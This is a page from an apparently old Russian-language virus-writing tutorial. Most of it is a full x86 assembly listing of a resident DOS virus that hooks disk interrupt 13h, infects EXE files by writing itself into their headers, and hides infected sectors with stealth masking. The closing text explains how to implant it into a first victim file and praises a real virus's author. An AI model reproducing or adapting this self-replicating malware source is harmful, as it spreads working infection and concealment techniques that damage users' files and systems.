"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса
Вид материала | Документы |
Содержание"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса. |
- Программы компьютерные вирусы. Интернет-черви. Почти все Интернет черви это почтовые, 305.31kb.
- Вирусы и антивирусы, 167.44kb.
- Героя Советского Союза А. В. Корявина реферат, 96.43kb.
- Паразиты человека глисты, простейшие, бактерии, вирусы, 549.43kb.
- Моу сергиево-Посадская гимназия Федосеев Кирилл, 567.61kb.
- Лекция Тип Плоские черви (Plathelminthes) Общая характеристика типа, 131.51kb.
- Реферат на тему: «вирусы», 434.94kb.
- Все драконы, какие только известны человечеству, собраны здесь воедино в этой статье, 53.02kb.
- Вирусы, 184.68kb.
- Вирусы Ведение, 291.6kb.
"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.
Назад | Далее
Вот и сама программа, реализующая представленную блок/схему:
-----------------------------------------------------------¬
¦ пример 17 ¦:
L-----------------------------------------------------------
TITLE Это - COM. программа N17 -- вирус, выполняющий функции загрузчика
ASSUME CS:CodeSegment
;-------------------------------------------------------------------------
CodeSegment SEGMENT PARA
ORG(100h)
Start:
MainProcedure PROC NEAR
;
;
head: JMP Short initial ;прыжок через данные
;
;------------------------------ данные -----------------¬
header_info DB 62 DUP(0) ;хранилище настроек ¦
; ; ¦
; ;данные (хранилище для ¦
saved_int13: DD 0 ; адреса стандартного обра- ¦
;¦ ; ботчика прерывания 13 ¦
;L---------------------- -- 2 слова) --------------------
;
;
;---посадка резидента в MCB-блок------------------------¬
;L-------------------------------------------------------
initial: MOV AX,CS:[02] ;берем вершину свободной памяти
; ; (в параграфах)
;
SUB AX,20h ;уменьшаем ее на 20h (в парагр.)
;
MOV SI,OFFSET head ;копируем из источника DS:head
MOV ES,AX ;копируем в приемник ES:00; в ES
XOR DI,DI ; - новая вершина своб. памяти
MOV CX,rezident_end - head
CLD
REPE MOVSB
;
MOV BX,DS ;уменьшаем размер МСВ-блока
DEC BX ;уменьшаем вершину свободной
MOV DS,BX ; памяти
SUB word ptr DS:[03h],20h
SUB word ptr DS:[12h],20h
;
XOR BX,BX ; сохраняем старый вектор
MOV DS,BX ; 13h в переслан. копии
MOV AX,DS:[13h*4+0]
MOV word ptr ES:[saved_int13-100h+0],AX
MOV AX,DS:[13h*4+2]
MOV word ptr ES:[saved_int13-100h+2],AX
;
CLI ;кладем в таблицу векторов наш адр.
MOV word ptr DS:[13h*4+0],OFFSET int13_treater-100h ;->OFFSET
MOV word ptr DS:[13h*4+2],ES ;------>SEGMENT
STI
;
PUSH CS ; DS = CS (потом пригодится)
POP DS
;
PUSH ES ; переходим на продолжение (метка
MOV AX,resended-head ; resended), но уже в резидент-
PUSH AX ; ной копии
RETF ;
;
resended: ;---корректировка настраиваемых элементов--------------¬
;L------------------------------------------------------
MOV DX,DS
ADD DX,10h ; DX = сегментн. адрес конца PSP
MOV DI,DS:[118h] ; DI = адрес relocation table
ADD DI,100h ; <-----учет PSP в этом адресе
MOV CX,DS:[106h] ; CX = колич-во настраив. эл-тов
; ; (позиция 06 в заголовке)
;
CMP CX,0 ; а вдруг ничего и не нужно
JE no_relocation ; настраивать?
;
;
again: LES SI,DS:[DI] ; SI=DS:[DI] ES=DS:[DI+2]
ADD DI,0004 ; переходим к следу.щему эл-ту
MOV BP,ES ; -¬ L----(на потом)
ADD BP,DX ; +ES=ES+PSP+20h (учет PSP и за-
ADD BP,20h ; ¦ ¦ головка ЕХЕ-)
MOV ES,BP ; -- L---сегм. адрес
ADD ES:[SI],DX ; настройка эл-та
LOOP again ;
;
no_relocation:;---установка стека ЕХЕ-файла--------------------------¬
;L------------------------------------------------------
MOV BX,DX ; сохраним адрес конца PSP
ADD DX,word ptr DS:[10Eh] ; DX = SS
MOV CX,DS:[110h] ; CX = SP
;
CLI
MOV SS,DX
MOV SP,CX
STI
;
;---заготовка значений CS и IP-------------------------¬
;L------------------------------------------------------
ADD BX,DS:[116h] ; CS
MOV AX,DS:[114h] ; IP
;
;--смещени файла на место заголовка -------------------¬
;L------------------------------------------------------
MOV SI,300h
MOV DI,100h
MOV CX,0EE00h ; по максимуму
CLD
PUSH DS
POP ES
REPE MOVSB
;
;---корректировка значений CS и IP (старт ЕХЕ-файла)---¬
;L------------------------------------------------------
PUSH BX
PUSH AX
RETF
;
;
;-----------наша п/п-а обработки прерывания 13-----------------¬
int13_treater:;¦ (целиком наследуется от V2, лишь корректи- ¦
;¦ руются кое-какие адреса -- учет отсутствия PSP) ¦
m1: PUSH AX ;метки m1 и m2 нужны для ¦
PUSH BX ; выборки сигнатуры для ана- ¦
m2: PUSH ES ; лиза ¦
;- предворительные анализы------------------------------------¬¦
;L-------------------------------------------------------------¦
CMP AH,02 ;файл читается? нет - уходим, ¦
JNE return_int ; возвращая прерыв-е 13 за- ¦
; ; конному владельцу ¦
PUSHF ¦
CALL dword ptr CS:[saved_int13-100h] ;чтение под контролем ¦
; ¦
CMP word ptr ES:[BX],5A4Dh ;ЕХЕ-файл? ¦
JE take_care_of ; да -- познакомимся поближе ¦
; ; нет - проверим нет ли в чи-¦
; ; таемом секторе самогО вируса
; ¦
CMP word ptr ES:[BX+m1-100h],5350h; читается сектор(а), содер-¦
JNE no_virus ; +-- жащий(ие) сам вирус? ¦
CMP word ptr ES:[BX+m2-100h],8006h; 5350h,8006h - его сигнатура
JNE no_virus ;-- нет -- выходим из прерыв-я¦
MOV word ptr ES:[BX],5A4Dh ; ¦
; ¦
;---СТЕЛС-маскировка------------------------------------------¬¦
;L-------------------------------------------------------------¦
PUSH DI ¦
PUSH CX ¦
MOV CX,200h-40h ¦
MOV DI,40h ¦
mask_another: MOV byte ptr ES:[BX+DI],00 ¦
INC DI ¦
LOOP mask_another ¦
POP CX ¦
POP DI ¦
; ¦
JMP Short EXE_simul ;симуляция ЕХЕ-файла ¦
; ¦
take_care_of: ;-------дополнительная проверка пригодности ЕХЕ-файла:--------¬¦
;L-------------------------------------------------------------¦
CMP word ptr ES:[BX+8],20h ;достаточно ли велик заголо- ¦
JB bad_EXE ; вок? (годится не менее 20h)¦
CMP word ptr ES:[BX+6],08h ;достаточно ли мала relocation¦
JA bad_EXE ; ? (годится не более 8h) ¦
CMP word ptr ES:[BX+4],77h ;достаточно ли мал ЕХЕ-файл? ¦
JA bad_EXE ; (годится не более 77h*512) ¦
; ¦
;------репродуктивная часть; (жертва найдена !)---------------¬¦
;L-------------------------------------------------------------¦
landing_craft:PUSH DI ;в тело вируса копируются на- ¦
PUSH SI ; стройки ЕХЕ-заголовка ¦
PUSH CX ; (4 параграфа) ¦
MOV CX,3Eh ; ¦
MOV DI,OFFSET header_info - 100h; если здесь применить обычно¦
MOV SI,BX ; столь экономичную конструк-¦
send_another: MOV AL,ES:[SI+2] ; цию REP MOVS, то мороки бу-¦
MOV byte ptr CS:[DI],AL ; дет пожалуй даже больше ¦
INC DI ; ¦
INC SI ; ¦
LOOP send_another ; ¦
POP CX ; ¦
POP SI ; ¦
POP DI ; ¦
; ¦
MOV AX,0301h ;производится высадка в зара- ¦
MOV BX,OFFSET head - 100h ; жаемый файл ¦
PUSH CS ; ¦
POP ES ; ¦
; ¦
return_int: PUSHF ¦
CALL dword ptr CS:[saved_int13-100h] ¦
; ¦
;-эти метки -- чисто для мнемоники; на каждую управление пере-¬¦
;¦дается ПОСЛЕ определенного этапа выполнения ¦¦
;L-------------------------------------------------------------¦
no_virus: ; вирус не нашел ни себя, ни -- пригодного для зараж-я ЕХЕ-файла
EXE_simul: ; вирус нашел себя и симулирует ЕХЕ-файл ¦
bad_EXE: ; вирус разочаровался в ЕХЕ-файле и не стал с ним возиться ¦
POP ES ¦
POP BX ¦
POP AX ¦
IRET ¦
;¦ ¦
;L--------------------------------------------------------------
rezident_end: ;
starter_end: ;
save_arrea: ;
;
MainProcedure ENDP
;
CodeSegment ENDS
END Start
Чтобы имплантировать вирус в первый файл-жертву, Вы опять должны вос-
пользоваться программой из примера 14.
Процедура обработки прерывания 13h в представленном вирусе практически
такая же, как и в предыдущем примере.
Этот пример мы посвещаем искуству создателя вируса BootExe-451(452), ибо
алгоритм настройки элементов реализуется здесь почти так же как и у него
(экономичнее вряд-ли возможно); да плюс ко всему -- вирус BootExe-451(452)
умеет еще и заражать BootRecord жесткого диска и дискет -- потрясающая удель-
ная мощность!
Ну все. Более мы не будем рассматривать столь экзотичный ныне способ за-
ражения ЕХЕ-файлов, как внедрение в их заголовок. В следующих главах будут
показаны наиболее типичные способы заражения.